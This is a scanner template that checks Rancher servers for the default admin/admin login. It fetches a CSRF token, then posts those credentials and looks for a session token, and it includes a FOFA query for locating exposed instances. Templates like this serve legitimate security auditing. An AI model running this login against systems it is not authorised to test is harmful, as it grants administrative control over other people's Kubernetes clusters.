rancher-default-password: Rancher Default Login

id: rancher-default-password

info:
  name: Rancher Default Login
  author: princechaddha
  severity: high
  verified: true
  description: |
    Rancher is a open-source multi-cluster orchestration platform, lets operations teams deploy, manage and secure enterprise Kubernetes.
    FOFA: app="RANCHER-容器管理"
  reference: 
    - https://github.com/rancher/rancher
  tags: rancher,defaultpassword
  created: 2023/10/30

rules:
  r0:
    request:
      method: GET
      path: /v3/settings/first-login
    expression: response.status == 200 && response.headers["set-cookie"].contains('CSRF=')
    output:
      search: '"CSRF=(?P<csrf>.*?);".bsubmatch(response.raw_header)'
      csrf: search["csrf"]
      search1: '"Set-Cookie: (?P<cookie>.+)".bsubmatch(response.raw_header)'
      cookie: search1["cookie"]
  r1:
    request:
      method: POST
      path: /v3-public/localProviders/local?action=login
      headers:
        Cookie: "{{cookie}}"
        X-Api-Csrf: "{{csrf}}"
      body: |
        {"username":"admin","password":"admin","description":"UI Session","responseType":"cookie","labels":{"ui-session":"true"}}
    expression: response.status == 200 && response.raw_header.ibcontains(b'R_SESS=token')
expression: r0() && r1()